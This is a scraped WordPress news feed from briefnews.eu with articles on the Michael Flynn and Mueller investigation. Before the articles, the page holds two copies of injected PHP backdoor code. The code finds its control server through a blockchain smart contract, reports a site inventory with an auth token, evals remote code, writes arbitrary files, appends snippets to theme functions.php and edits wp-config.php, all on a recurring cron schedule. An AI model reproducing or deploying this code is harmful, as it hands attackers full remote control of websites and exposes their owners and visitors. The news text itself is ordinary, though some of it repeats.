// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Flynn’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 15 Dec 2018 20:42:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Flynn’s – Brief News https://briefnews.eu 32 32 Mueller says the FBI is not to blame for Michael Flynn’s false statements https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/ https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/#respond Sat, 15 Dec 2018 20:42:35 +0000 http://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/ Michael FlynnAP Photo/Carolyn Kaster

  • The special counsel’s office pushed back at the suggestion that the FBI acted improperly in its interview of former national security adviser Michael Flynn.
  • Flynn lied several times to White House officials about his dialogue with Russian ambassador Sergey Kislyak and repeated those falsehoods when approached by the FBI.
  • The special counsel argued Flynn had agreed on his own to meet with federal agents and did not need a warning that it was against the law to lie to them

WASHINGTON (AP) — The special counsel’s office pushed back Friday at the suggestion that the FBI acted improperly in its interview of former national security adviser Michael Flynn, saying he agreed on his own to meet with federal agents and did not need a warning that it was against the law to lie to them.

The filing from special counsel Robert Mueller comes four days before Flynn gets sentenced on a charge of lying to the FBI about his conversations with the then-Russian ambassador to the United States. It responds to a sentencing memorandum filed earlier this week by Flynn’s lawyers that said the FBI did not warn him that it illegal to lie. It also suggested that agents discouraged him from having a lawyer present.

See the rest of the story at Business Insider

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SEE ALSO: Michael Flynn’s lawyers ask for 200 hours of community service and no prison time in sentencing memo

]]> https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/feed/ 0 Mueller says the FBI is not to blame for Michael Flynn’s false statements https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/ https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/#respond Sat, 15 Dec 2018 20:42:35 +0000 http://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/ Michael FlynnAP Photo/Carolyn Kaster

  • The special counsel’s office pushed back at the suggestion that the FBI acted improperly in its interview of former national security adviser Michael Flynn.
  • Flynn lied several times to White House officials about his dialogue with Russian ambassador Sergey Kislyak and repeated those falsehoods when approached by the FBI.
  • The special counsel argued Flynn had agreed on his own to meet with federal agents and did not need a warning that it was against the law to lie to them

WASHINGTON (AP) — The special counsel’s office pushed back Friday at the suggestion that the FBI acted improperly in its interview of former national security adviser Michael Flynn, saying he agreed on his own to meet with federal agents and did not need a warning that it was against the law to lie to them.

The filing from special counsel Robert Mueller comes four days before Flynn gets sentenced on a charge of lying to the FBI about his conversations with the then-Russian ambassador to the United States. It responds to a sentencing memorandum filed earlier this week by Flynn’s lawyers that said the FBI did not warn him that it illegal to lie. It also suggested that agents discouraged him from having a lawyer present.

See the rest of the story at Business Insider

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SEE ALSO: Michael Flynn’s lawyers ask for 200 hours of community service and no prison time in sentencing memo

]]> https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/feed/ 0 Mueller says the FBI is not to blame for Michael Flynn’s false statements https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/ https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/#respond Sat, 15 Dec 2018 20:42:33 +0000 http://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/ Michael FlynnAP Photo/Carolyn Kaster

  • The special counsel’s office pushed back at the suggestion that the FBI acted improperly in its interview of former national security adviser Michael Flynn.
  • Flynn lied several times to White House officials about his dialogue with Russian ambassador Sergey Kislyak and repeated those falsehoods when approached by the FBI.
  • The special counsel argued Flynn had agreed on his own to meet with federal agents and did not need a warning that it was against the law to lie to them

WASHINGTON (AP) — The special counsel’s office pushed back Friday at the suggestion that the FBI acted improperly in its interview of former national security adviser Michael Flynn, saying he agreed on his own to meet with federal agents and did not need a warning that it was against the law to lie to them.

The filing from special counsel Robert Mueller comes four days before Flynn gets sentenced on a charge of lying to the FBI about his conversations with the then-Russian ambassador to the United States. It responds to a sentencing memorandum filed earlier this week by Flynn’s lawyers that said the FBI did not warn him that it illegal to lie. It also suggested that agents discouraged him from having a lawyer present.

See the rest of the story at Business Insider

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SEE ALSO: Michael Flynn’s lawyers ask for 200 hours of community service and no prison time in sentencing memo

]]> https://briefnews.eu/mueller-says-the-fbi-is-not-to-blame-for-michael-flynns-false-statements/feed/ 0 New Trump Tower meeting details, a whistleblower, and the GOP’s efforts to malign the FBI — the Trump Russia investigation a week after Flynn’s guilty plea https://briefnews.eu/new-trump-tower-meeting-details-a-whistleblower-and-the-gops-efforts-to-malign-the-fbi-the-trump-russia-investigation-a-week-after-flynns-guilty-plea/ https://briefnews.eu/new-trump-tower-meeting-details-a-whistleblower-and-the-gops-efforts-to-malign-the-fbi-the-trump-russia-investigation-a-week-after-flynns-guilty-plea/#respond Fri, 08 Dec 2017 23:12:51 +0000 http://briefnews.eu/new-trump-tower-meeting-details-a-whistleblower-and-the-gops-efforts-to-malign-the-fbi-the-trump-russia-investigation-a-week-after-flynns-guilty-plea/ Donald Trump JrBrian Snyder/Reuters

In the week following former national security adviser Michael Flynn’s guilty plea, new details have emerged about the meeting President Donald Trump’s son, Donald Trump Jr., attended in July 2016 with a Russian lawyer who offered him “dirt” on Hillary Clinton, among other revelations.

The investigation of special counsel Robert Mueller has also come under fire from Republicans, who, together with Trump himself, criticized the FBI over supposed partisan bias this week.

Here’s everything you need to know about the Trump Russia investigation from this week:

  • Trump, Jr. asked Russian attorney Natalia Veselnitskaya in June 2016 for evidence of illegal donations to the Clinton Foundation: Veselnitskaya stated that she did not have the information Trump Jr. was reportedly looking for, and said Trump Jr. misunderstood the purpose of the meeting. When Trump Jr. realized she did not have damaging information on Clinton, the 2016 Democratic presidential nominee, Veselnitskaya said the meeting went downhill.
  • Rob Goldstone sent followup emails after the Trump Tower meeting: After initially convincing Trump Jr. to meet with Veselnitskaya on the basis that she had information about Clinton, Goldstone, a music publicist for a Trump-connected Russian oligarch, suggested a plan for then-candidate Donald Trump to create a page on a Russian social-networking website. In the email, Goldstone also mentioned that Trump Jr. and then-campaign chairman Paul Manafort would go along with the idea. Goldstone also called reports of Russian hacking of the Democratic National Committee “eerily weird” because of what the Russians had discussed at the meeting.
  • Flynn told a former Russian business partner that the US would end sanctions against Russia: Flynn suggested to a business associate that sanctions on Russia imposed by the Obama administration in December would be “ripped up” under Trump, a whistleblower told a Democratic congressman. Flynn apparently told the associate this information minutes after Trump was inaugurated.
  • Papadopoulos’s fiancee said he had regular contact with high level campaign officials: The fiancée of George Papadopoulos, the early foreign-policy adviser and aide to Trump’s campaign team who in October pleaded guilty to making false statements to the FBI, disputed top officials’ characterization of him as a “low-level volunteer” and a “coffee boy.” Mangiante said Papadopoulos was “constantly in touch with high-level officials in the campaign.” She said she had seen correspondence proving it.
  • Trump, Jr. is interviewed by House Intelligence Committee: Trump Jr. was “pretty non-responsive” on a range of issues during his eight-hour testimony before the House Intelligence Committee on Wednesday, according to a Democratic member of the committee. “My takeaway is he has a very serious case of amnesia,” Rep. Jackie Speier told CNN.
  • Mueller fired an FBI agent in August over an anti-Trump text: Mueller ousted top counterintelligence veteran Peter Strzok from his team in August after the Justice Department’s inspector general began examining whether Strzok sent text messages that could be seen as critical of Trump. Republicans jumped at the revelation to further claims that the Russia investigation is a political “witch hunt.”
  • In response, Trump tweets that the FBI is in “tatters”: In a Sunday tweetstorm, Trump accused former FBI Director James Comey of lying about a conversation the two had in February about Flynn. In another tweet, Trump wrote, “After years of Comey, with the phony and dishonest Clinton investigation (and more), running the FBI, its reputation is in Tatters – worst in History! But fear not, we will bring it back to greatness.” Current FBI Director Chris Wray responded to Trump’s claims with a motivational email to his staff. “It is truly an honor to represent you,” Wray wrote.
  • Louie Gomert asks FBI director during hearing about FBI agents’ political biases: A Republican member of the House Judiciary Committee left several observers stunned on Thursday when he read off a list of names of agents to the FBI director and asked him to disclose their political biases. The notion that FBI agents could be subject to political tests from another branch of government unnerved several observers and former employees.
  • Mueller rescinded the bail agreement for former Trump campaign chairman Paul Manafort: Manafort evidently failed to tell the government that he was ghost-writing a draft op-ed about his work in Ukraine as late as November 30. He was working on it with “a longtime Russian colleague” who is “assessed to have ties to Russian intelligence,” according to the special counsel’s court filing. Mueller took back his initial bail agreement as a result.
  • CNN story about a WikiLeaks decryption key being sent to the Trump campaign is debunked: A CNN story initially suggested that the Trump campaign had received a decryption key for a trove of WikiLeaks emails that had been obtained through hacks in advance of their public release, but it turns out CNN got the date of the email wrong. In fact, the key had been sent well after the emails had been published.
  • The FBI met with Trump adviser Hope Hicks to warn her about Russians contacting her: FBI agents gave Hicks defensive briefings on at least two occasions after Trump’s election to warn her about Russian operatives trying to contact her through email during the transition period. There is so far nothing that indicates Hicks did anything improper.
  • House and Senate investigative committees are mired in infighting: The Senate Judiciary and House Intelligence Committees, two of the three major congressional panels investigating Russia’s election interference, appear to have resigned themselves to the reality that their probes will be conducted according to the partisan interests of their members.
  • Flynn judge recused himself: The US District Court for the District of Columbia judge presiding over the criminal case for Flynn has been recused from handling the case. The reason for the recusal is still unknown.
  • The amount of money Mueller and his team have spent through September 30 is disclosed: Mueller says that during the first few months of his investigation his office spent $ 3.2 million investigating Russian election interference and possible coordination with Trump’s associates, according to a report.

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]]> https://briefnews.eu/new-trump-tower-meeting-details-a-whistleblower-and-the-gops-efforts-to-malign-the-fbi-the-trump-russia-investigation-a-week-after-flynns-guilty-plea/feed/ 0 Trump was reportedly told to stay away from Twitter after Mike Flynn’s plea deal was revealed https://briefnews.eu/trump-was-reportedly-told-to-stay-away-from-twitter-after-mike-flynns-plea-deal-was-revealed/ https://briefnews.eu/trump-was-reportedly-told-to-stay-away-from-twitter-after-mike-flynns-plea-deal-was-revealed/#respond Sat, 02 Dec 2017 08:03:33 +0000 http://briefnews.eu/trump-was-reportedly-told-to-stay-away-from-twitter-after-mike-flynns-plea-deal-was-revealed/ Donald TrumpAP Photo/Andrew Harnik

  • Following news of former national security adviser Michael Flynn’s plea deal, President Donald Trump was reportedly urged by staffers not to weigh in on Twitter.
  • Trump believed that Flynn was “in a lot of trouble,” according to an adviser.
  • The president and other White House staffers reportedly had no warning of Flynn’s early-morning plea deal.

President Donald Trump was reportedly urged by staffers not to weigh in on Twitter after the bombshell news that his former national security adviser, Michael Flynn, had struck a plea deal with special counsel Robert Mueller’s prosecutors, according to a New York Times report published Friday.

Trump was in the White House’s residence when he received word of Flynn’s agreement with Mueller’s team, who charged Flynn with making false statements to federal investigators about his prior conversations with Russia’s ambassador to the US, The Times reported. It was White House chief of staff John Kelly who learned of the charges from TV and informed Trump of the news, The Times said.

Although one adviser said that Trump did not outwardly express a reaction right away, he reportedly said that Flynn “is in a lot of trouble,” The Times reported.

But Trump’s opinions on the Russia investigation may have been muted Friday, due to the focus on Senate Republicans’ last-minute changes on their tax bill before a final vote was taken.

Trump’s legal team reportedly had no prior warning of the charges Friday morning, likely due to Flynn’s attorneys telling Trump’s counsel last week they could no longer share information on Mueller’s ongoing investigation.

